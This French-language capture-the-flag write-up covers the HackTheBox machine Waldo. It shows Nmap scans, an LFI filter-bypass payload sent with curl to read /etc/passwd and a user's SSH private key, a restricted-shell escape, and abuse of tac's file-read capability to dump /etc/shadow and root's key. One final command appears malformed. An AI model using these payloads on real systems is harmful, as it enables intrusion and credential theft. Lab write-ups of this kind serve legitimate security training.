> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/writeups-ctf/hackthebox/linux-medium/waldo-hackthebox-writeup.md).

# Compte rendu de Waldo HackTheBox

{% embed url="<https://app.hackthebox.com/machines/Waldo>" %}

{% hint style="warning" %}
**Compétences :**

* LFI (inclusion locale de fichiers) - Contournement du filtre
* Obtention de la clé privée SSH d'un utilisateur via le LFI
* Évasion d'un conteneur
* Contournement d'un shell restreint
* Abus des capacités (cap\_dac\_read\_search+ei) (élévation de privilèges)
  {% endhint %}

## Reconnaissance

**Configuration de l'espace de travail :**

Configurez l'espace de travail en créant trois dossiers pour stocker le contenu important, les exploits et les résultats de reconnaissance Nmap.

<figure><img src="/files/f60657b65d408743254248b0376ac6abee15f9c7" alt="" width="563"><figcaption></figcaption></figure>

**Vérification de la connectivité VPN**

Vérifiez la connectivité VPN pour assurer une communication stable avec la machine cible.

<figure><img src="/files/b9916714d3ff95568d2bdef4f08f542ee485f86d" alt="" width="563"><figcaption></figcaption></figure>

**Découverte des ports ouverts avec Nmap :**

Énumérez les ports ouverts et exportez les résultats dans le fichier "allPorts" du répertoire Nmap :

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.10.87 -oG allPorts
```

<figure><img src="/files/4d1c89902a7a772c1b7ab9f8d65498a823faf66d" alt=""><figcaption></figcaption></figure>

**Scan de version des ports avec Nmap 22,80 :**

Utilisez Nmap pour analyser les versions des services et enregistrer la sortie dans le fichier "targeted" :

```bash
nmap -sCV -p22,80 10.10.10.87 -oN targeted 
```

<figure><img src="/files/a9a1f7e16c2f95b668b11916f42b6570a2539b65" alt=""><figcaption></figcaption></figure>

## Exploitation du port 80

<figure><img src="/files/177145e57dde4c22f287a8963690b564bf7a78f6" alt=""><figcaption></figcaption></figure>

#### Interception avec Burp Suite

Nous analysons les requêtes et identifions une vulnérabilité **LFI** (inclusion locale de fichiers).

<figure><img src="/files/b01cc79e854e12aa33e52fc3728d1cd9afc4f82a" alt=""><figcaption></figcaption></figure>

### Test LFI basique

Nous essayons d'accéder à `/etc/passwd`:

```
../../../../etc/passwd
```

Cela ne fonctionne pas.

<figure><img src="/files/dd8fab0e2e880b6c52b07ccf04328f77631ccaaa" alt=""><figcaption></figcaption></figure>

### Contournement du filtre LFI

Nous testons un contournement avec

```
....//....//../....//..//....//etc/passwd
```

Ce contournement fonctionne, et nous pouvons maintenant lister le `/etc/passwd` .

<figure><img src="/files/972c6db92cf25fe157bdc94d7bfc73525115f31f" alt=""><figcaption></figcaption></figure>

#### Extraction du fichier avec Curl

Nous utilisons `curl` pour récupérer le fichier via le point de terminaison vulnérable :

{% code overflow="wrap" %}

```bash
curl -s -X POST http://10.10.10.87/fileRead.php -d "file=....//....//../....//..//....//etc/passwd" | jq -r '.file'
```

{% endcode %}

Nous trouvons l'utilisateur **nobody**.

<figure><img src="/files/456551eb5f7b60de6ac35731dd1f97e93d816678" alt=""><figcaption></figcaption></figure>

### Accès au `.ssh` répertoire de nobody

Nous interceptons la requête de la `list.html` page et notons que la `chemin` variable est utilisée pour récupérer des fichiers.

<figure><img src="/files/30682b4c3dbd81b44207c317c70c56f07f0df09c" alt=""><figcaption></figcaption></figure>

Nous explorons le répertoire personnel de `nobody`:

```
....//....//../....//..//....//home/nobody/.ssh/
```

<figure><img src="/files/6ffef076d1c4ef4f3bad24e7008c744165d7bac7" alt=""><figcaption></figcaption></figure>

Nous trouvons un `.monitor` .

#### Extraction de la clé privée SSH

{% code overflow="wrap" %}

```bash
curl -s -X POST http://10.10.10.87/fileRead.php -d "file=....//....//../....//..//....//home/nobody/.ssh/.monitor" | jq -r '.file'
```

{% endcode %}

Nous récupérons une clé privée.

<figure><img src="/files/df408501b3fadf033b71849c138b8b2feb0779d1" alt=""><figcaption></figcaption></figure>

#### Connexion SSH à nobody

Nous nous connectons avec la clé récupérée :

```bash
ssh nobody@10.10.10.87 -i id_rsa
```

<figure><img src="/files/1d630f9e59b27e57c99cff352fdf2e70d5e586ff" alt=""><figcaption></figcaption></figure>

### Drapeau user.txt :)

<figure><img src="/files/038efbc3805b66b222c0ce4ba2e4cd5ef9396b79" alt="" width="499"><figcaption></figcaption></figure>

## Pivot vers l'utilisateur operator

Nous identifions un `opérateur`

<figure><img src="/files/5488e90c0cf8104e5e0257047a15ada92e312fee" alt=""><figcaption></figcaption></figure>

Nous trouvons un `authorized_keys` fichier appartenant à `monitor`.

<figure><img src="/files/593281bfa9972ad3e9513273aea57c88a2aaddb2" alt=""><figcaption></figcaption></figure>

#### Connexion SSH à monitor

```bash
ssh monitor@127.0.0.1 -i .monitor
```

Nous nous retrouvons dans un petit shell (`rbash`).

<figure><img src="/files/9f53869d2d700679791ad0598b6b15c37cb3f288" alt=""><figcaption></figcaption></figure>

### Contournement d'un shell restreint

Nous lançons une session SSH en spécifiant `bash`:

```bash
ssh monitor@127.0.0.1 -i .monitor "bash --noprofile"
```

<figure><img src="/files/7c7afab9da17ce6713c8f3800c4ef8b9b3ea1d8d" alt=""><figcaption></figcaption></figure>

## Élévation de privilèges

### Capacités - tac

Nous listons les fichiers avec des capacités spécifiques :

```bash
getcap -r / 2>/dev/null
```

Nous identifions que **tac** a la `cap_dac_read_search+ei` capacité :

<figure><img src="/files/0932ca0c299df4c5d604881a84ef54e4b92fc388" alt=""><figcaption></figcaption></figure>

#### Opération tac pour lire des fichiers protégés

Le `tac` commande (inverse de `cat`) nous permet de lire les fichiers en inversant leur contenu.

```bash
tac /etc/shadow
```

<figure><img src="/files/387bce66f07c454bc3cdf0b45de1a900f8d3aa6d" alt=""><figcaption></figcaption></figure>

### Drapeau root.txt :)

**Lecture du flag root.txt**

```bash
tac /root/root.txt | tac
```

<figure><img src="/files/d8f57909153fcb1e428ef086ebc7a679248a4ebd" alt="" width="545"><figcaption></figcaption></figure>

**Récupération de la clé SSH root**

```bash
/usr/bin/tac | /root/.ssh/id_rsa | /usr/bin/tac
```

<figure><img src="/files/42f8a6e067947224803e7902353b19a08e5f3384" alt="" width="399"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/writeups-ctf/hackthebox/linux-medium/waldo-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
